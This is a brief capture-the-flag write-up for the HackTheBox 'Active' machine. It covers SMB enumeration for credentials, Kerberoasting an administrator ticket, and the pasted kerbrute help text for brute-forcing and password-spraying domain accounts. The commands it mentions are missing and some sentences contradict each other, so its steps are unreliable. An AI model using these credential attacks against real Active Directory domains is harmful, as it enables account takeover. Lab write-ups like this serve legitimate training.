HackTheBox - Active (easy)
- Active is a quick and fun medium box where we have to do SMB enumeration to obtain credentials of a valid user in the dc and Kerberoasting to receive a ticket to crack this ticket is for the administrator user.

- To do this your clock has to be synchronized with the dc clock, if you ever have to do it you can use this command.

-
We could do this if we do not have credentials but since we have the password it was not necessary but if we did not have it we could have requested a ticket but it is not possible.

Here you have a link where they explain it very well.

Version: v1.0.3 (9dad6e1) - 01/28/23 - Ronnie Flathers @ropnop
This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts
Usage:
kerbrute [command]
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
Flags:
--dc string The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
--delay int Delay in millisecond between each attempt. Will always use single thread if set
-d, --domain string The full domain to use (e.g. contoso.com)
-h, --help help for kerbrute
-o, --output string File to write logs to. Optional.
--safe Safe mode. Will abort if any user comes back as locked out. Default: FALSE
-t, --threads int Threads to use (default 10)
-v, --verbose Log failures and errors
Use "kerbrute [command] --help" for more information about a command.
- We can obtain a ticket for the administrator user.
